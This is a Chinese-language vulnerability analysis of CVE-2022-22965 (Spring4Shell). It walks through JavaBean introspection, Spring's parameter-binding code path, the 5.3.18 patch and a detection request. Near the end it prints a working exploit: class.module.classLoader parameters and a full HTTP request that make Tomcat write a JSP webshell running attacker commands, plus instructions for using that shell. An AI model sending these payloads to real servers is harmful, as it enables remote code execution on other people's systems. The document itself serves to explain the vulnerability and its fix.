CVE-2022-22965
A Spring MVC or Spring WebFlux Application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
[VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv]
一個典型的 Bean 對象如下
class UserInfo { private int age; public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
通過 private 定義屬性 通過 public getXyz/setXyz 來讀寫的 class 被稱為 JAVABean [^1]
java.beans.Introspector [^2] 提供一套標準的方法來訪問 javaBean 中的屬性、方法、事件,會搜索 Bean 本身并一路往上搜索父類來獲取信息。如通過 java.beans.PropertyDescriptor 來獲取屬性相關的信息(name/getter/setter/...)
public static void main(String args[]) throws IntrospectionException { BeanInfo info = Introspector.getBeanInfo(UserInfo.class); PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors(); for (PropertyDescriptor propertyDescriptor : propertyDescriptors) { System.out.println(propertyDescriptor); System.out.println("================================================="); } } // java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)] // ================================================= // java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()] // =================================================
也可以通過內省操作來進行賦值操作
UserInfo user = new UserInfo(); System.out.println("age: " + user.getAge()); PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get(); pd.getWriteMethod().invoke(user, 18); System.out.println("age: " + user.getAge());// age: 0// age: 18
提供了一套簡單的api來進行 JavaBean 的操作,以及一些高級特性(嵌套屬性、批量讀寫等)
public class User { private String name; private UserInfo info; public String getName() { return name; } public void setName(String name) { this.name = name; } public UserInfo getInfo() { return info; } public void setInfo(UserInfo info) { this.info = info; } public static void main(String args[]) { User user = new User(); BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user); bw.setAutoGrowNestedPaths(true); bw.setPropertyValue("name", "wang"); bw.setPropertyValue("info.age", 18); System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge()); } }// wang is 18
在 setPropertyValue(“name”, “wang”) 處分析調用邏輯,大致了解下流程
org.springframework.beans.AbstractNestablePropertyAccessor[^3]
-
調用getPropertyAccessorForPropertyPath方法通過 getter 來獲取嵌套屬性
-
getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 屬性時,循環調用 getter 取值
-
-
調用setPropertyValue方法通過 setter 來設置屬性
-
getLocalPropertyHandler 獲取屬性描述符
-
setValue 通過反射調用 setter 進行賦值
-
CachedIntrospectionResults#forClass 為當前Bean創建緩存
-
…
-
getCachedIntrospectionResults 從緩存中獲取 PropertyDescriptor
-
processKeyedProperty 設置 Array/List… 對象
-
processLocalProperty 設置簡單 Bean 對象
-
以如下的 controller 為例,跟蹤 spring 參數綁定的過程
@GetMapping("/") public String info(User user) { return String.format("%s is %d", user.getName(), user.getInfo().getAge()); }
-
傳入的 http 請求經過 org.springframework.web.servlet.DispatcherServlet#doDispatch處理,尋找對應的 Handler 進行處理
-
org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 調用 Handler 前進行參數綁定
-
使用響應的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 來進行參數解析,從 request 中獲取參數。這里為 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
-
接下來進入到 org.springframework.validation.DataBinder#doBind,根據 JavaBean 對象來進行賦值。這里會獲取一個BeanWrapperImpl通過setPropertyValues來進行賦值
-
org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
-
org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
官方在 5.3.18 修復了這個問題, 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults 處進行了相關修改,加強了一個 PropertyDescriptor 相關的過濾。查看相關調用
-
org.springframework.beans.CachedIntrospectionResults#forClass
-
org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults
結合上文的內容不難推斷,Spring在進行參數綁定時調用的 BeanWrapperImpl在進行JavaBean操作時觸發了此漏洞。
<init>:272, CachedIntrospectionResults (org.springframework.beans)forClass:181, CachedIntrospectionResults (org.springframework.beans)getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)applyPropertyValues:856, DataBinder (org.springframework.validation)doBind:751, DataBinder (org.springframework.validation)doBind:198, WebDataBinder (org.springframework.web.bind)bind:118, ServletRequestDataBinder (org.springframework.web.bind)bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)...
由于 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults 能夠通過 class.module.classLoader 來獲取 classLoader,所以這個洞也是 CVE-2010-1622[^5] 的繞過。
目前流傳的EXP都是利用 Tomcat 的 ParallelWebappClassLoader 來修改 Tomcat 中日志相關的屬性[^6],來向日志文件寫入 webshell 達到命令執行的目的。
例如向 webapps/shell.jsp 寫入 http header 中的 cmd
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=shellclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
發送報文
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: 7.223.181.36:38888Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9Connection: closecmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
就可以利用 shell.jsp?a=cmd 來執行命令了
Spring 在獲取屬性描述符時加強了判斷,只留下了 name 屬性。
if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) { // Only allow all name variants of Class properties continue; }if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType()) || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) { // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those continue; }
通過錯誤地設置 classloader 下的屬性來觸發 BindException異常讓服務端返回異常即可判斷是否存在漏洞,例如發送
GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1Host: 127.0.0.1:39999Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
服務端返回
HTTP/1.1 400 Content-Type: text/html;charset=UTF-8Content-Language: zh-CNContent-Length: 277Date: Fri, 08 Apr 2022 03:49:42 GMTConnection: close<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are se